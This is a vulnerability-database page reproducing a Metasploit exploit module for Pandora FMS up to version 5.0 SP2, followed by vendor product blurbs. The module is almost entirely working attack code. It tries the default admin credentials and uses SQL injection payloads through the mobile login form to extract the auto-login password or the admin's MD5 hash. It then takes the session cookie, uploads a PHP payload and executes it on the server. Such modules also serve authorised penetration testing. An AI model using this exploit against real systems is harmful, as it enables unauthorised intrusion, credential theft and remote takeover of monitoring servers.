Lucene search
+L

Pandora FMS SQL Injection Remote Code Execution

🗓️ 26 Nov 2014 00:00:00Reported by Jason KratzerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Pandora FMS SQL Injection Remote Code Execution module exploits multiple issues to gain remote code execution under Pandora FMS version <= 5.0 SP2. It attempts to authenticate using default credentials and leverages SQL injection vulnerability to extract passwords

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Pandora FMS SQLi Remote Code Execution',  
'Description' => %q{  
This module attempts to exploit multiple issues in order to gain remote  
code execution under Pandora FMS version <= 5.0 SP2. First, an attempt  
to authenticate using default credentials is performed. If this method  
fails, a SQL injection vulnerability is leveraged in order to extract  
the "Auto Login" password hash. If this value is not set, the module  
will then extract the administrator account's MD5 password hash.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept  
'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module  
],  
'References' =>  
[  
['URL', 'http://pandorafms.com/downloads/whats_new_5-SP3.pdf'],  
['URL', 'http://blog.pandorafms.org/?p=2041']  
],  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['Pandora FMS version <= 5.0 SP2', {}]  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 50000,  
'DisableNops' => true,  
},  
'DisclosureDate' => "Feb 1 2014",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),  
OptString.new('USER', [false, 'The username to authenticate with', 'admin']),  
OptString.new('PASS', [false, 'The password to authenticate with', 'pandora']),  
], self.class)  
end  
  
def uri  
target_uri.path  
end  
  
  
def check  
vprint_status("#{peer} - Trying to detect installed version")  
  
version = nil  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php')  
})  
  
if res && res.code == 200 && res.body =~ /Pandora FMS - the Flexible Monitoring System/  
if res.body =~ /<div id="ver_num">v(.*?)<\/div>/  
version = $1  
else  
return Exploit::CheckCode::Detected  
end  
end  
  
unless version.nil?  
vprint_status("#{peer} - Pandora FMS #{version} found")  
if Gem::Version.new(version) <= Gem::Version.new('5.0SP2')  
return Exploit::CheckCode::Appears  
end  
end  
  
Exploit::CheckCode::Safe  
end  
  
  
# Attempt to login with credentials (default admin:pandora)  
def authenticate  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'index.php'),  
'vars_get' => {  
'login' => "1",  
},  
'vars_post' => {  
'nick' => datastore['USER'],  
'pass' => datastore['PASS'],  
'Login' => 'Login',  
}  
})  
  
return auth_succeeded?(res)  
end  
  
# Attempt to login with auto login and SQLi  
def login_hash  
clue = rand_text_alpha(8)  
sql_clue = clue.each_byte.map { |b| b.to_s(16) }.join  
# select value from tconfig where token = 'loginhash_pwd';  
sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sql_clue},(SELECT MID((IFNULL(CAST"  
sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 "  
sqli << "LIMIT 0,1),0x#{sql_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "  
sqli << "BY x)a) AND 'msf'='msf"  
  
password = inject_sql(sqli, clue)  
  
if password && password.length != 0  
print_status("#{peer} - Extracted auto login password (#{password})")  
else  
print_error("#{peer} - No auto login password has been defined!")  
return false  
end  
  
print_status("#{peer} - Attempting to authenticate using (admin:#{password})")  
# Attempt to login using login hash password  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'index.php'),  
'vars_get' => {  
'loginhash' => 'auto',  
},  
'vars_post' => {  
'loginhash_data' => Rex::Text.md5("admin#{password}"),  
'loginhash_user' => 'admin',  
}  
})  
  
return auth_succeeded?(res)  
end  
  
  
def auth_succeeded?(res)  
if res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')  
print_status("#{peer} - Successfully authenticated!")  
print_status("#{peer} - Attempting to retrieve session cookie")  
@cookie = res.get_cookies  
if @cookie.include?('PHPSESSID')  
print_status("#{peer} - Successfully retrieved session cookie: #{@cookie}")  
return true  
else  
print_error("#{peer} - Error retrieving cookie!")  
end  
else  
print_error("#{peer} - Authentication failed!")  
end  
  
false  
end  
  
  
def extract  
# Generate random string and convert to hex  
clue = rand_text_alpha(8)  
hex_clue = clue.each_byte.map { |b| b.to_s(16) }.join  
  
# select password from tusuario where id_user = 0;  
sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{hex_clue},(SELECT MID((IFNULL"  
sqli << "(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)"  
sqli << ",0x#{hex_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY "  
sqli << "x)a) AND 'msf'='msf"  
  
password = inject_sql(sqli, clue)  
  
if password && password.length != 0  
print_good("#{peer} - Extracted admin password hash, unsalted md5 - [ #{password} ]")  
else  
print_error("#{peer} - Unable to extract password hash!")  
return false  
end  
end  
  
  
def inject_sql(sql, fence_post)  
# Extract password hash from database  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'mobile', 'index.php'),  
'vars_post' => {  
'action' => 'login',  
'user' => sql,  
'password' => 'pass',  
'input' => 'Login'  
}  
})  
  
result = nil  
if res && res.code == 200  
match = res.body.match(/(?<=#{fence_post})(.*)(?=#{fence_post})/)  
if match  
result = match[1]  
else  
print_error("#{peer} - SQL injection failed")  
end  
end  
result  
end  
  
def upload  
# Extract hash and hash2 from response  
res = send_request_cgi({  
'method' => 'GET',  
'cookie' => @cookie,  
'uri' => normalize_uri(uri, 'index.php'),  
'vars_get' => {  
'sec' => 'gsetup',  
'sec2' => 'godmode/setup/file_manager'  
}  
})  
  
if res && res.code == 200 && res.body =~ /(?<=input type="submit" id="submit-go")(.*)(?=<input id="hidden-directory" name="directory" type="hidden")/  
form = $1  
  
# Extract hash  
if form =~ /(?<=name="hash" type="hidden" value=")(.*?)(?=" \/>)/  
hash = $1  
else  
print_error("#{peer} - Could not extract hash from response!")  
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")  
end  
  
# Extract hash2  
if form =~ /(?<=name="hash2" type="hidden" value=")(.*?)(?=" \/>)/  
hash2 = $1  
else  
print_error("#{peer} - Could not extract hash2 from response!")  
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")  
end  
  
# Extract real_directory  
if form =~ /(?<=name="real_directory" type="hidden" value=")(.*?)(" \/>)/  
real_directory = $1  
else  
print_error("#{peer} - Could not extract real_directory from response!")  
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")  
end  
else  
print_error("#{peer} - Could not identify upload form!")  
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")  
end  
  
  
# Upload script  
@payload_name = "#{rand_text_alpha(8)}.php"  
post_data = Rex::MIME::Message.new  
post_data.add_part("<?php #{payload.encoded} ?>", 'text/plain', nil, %Q^form-data; name="file"; filename="#{@payload_name}"^)  
post_data.add_part('', nil, nil, 'form-data; name="unmask"')  
post_data.add_part('Go', nil, nil, 'form-data; name="go"')  
post_data.add_part(real_directory, nil, nil, 'form-data; name="real_directory"')  
post_data.add_part('images', nil, nil, 'form-data; name="directory"')  
post_data.add_part("#{hash}", nil, nil, 'form-data; name="hash"')  
post_data.add_part("#{hash2}", nil, nil, 'form-data; name="hash2"')  
post_data.add_part('1', nil, nil, 'form-data; name="upload_file_or_zip"')  
  
print_status("#{peer} - Attempting to upload payload #{@payload_name}...")  
res = send_request_cgi({  
'method' => 'POST',  
'cookie' => @cookie,  
'uri' => normalize_uri(uri, 'index.php'),  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'data' => post_data.to_s,  
'vars_get' => {  
'sec' => 'gsetup',  
'sec2' => 'godmode/setup/file_manager'  
}  
})  
  
if res && res.code == 200 && res.body.include?("Upload correct")  
register_file_for_cleanup(@payload_name)  
print_status("#{peer} - Successfully uploaded payload")  
else  
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")  
end  
end  
  
  
def exploit  
# First try to authenticate using default or user-supplied credentials  
print_status("#{peer} - Attempting to authenticate using (#{datastore['USER']}:#{datastore['PASS']})")  
auth = authenticate  
  
unless auth  
print_status("#{peer} - Attempting to extract auto login hash via SQLi")  
auth = login_hash  
end  
  
unless auth  
print_status("#{peer} - Attempting to extract admin password hash with SQLi")  
extract  
fail_with(Failure::NoAccess, "#{peer} - Unable to perform remote code execution!")  
end  
  
print_status("#{peer} - Uploading PHP payload...")  
upload  
  
print_status("#{peer} - Executing payload...")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'images', @payload_name),  
'cookie' => @cookie  
}, 1)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation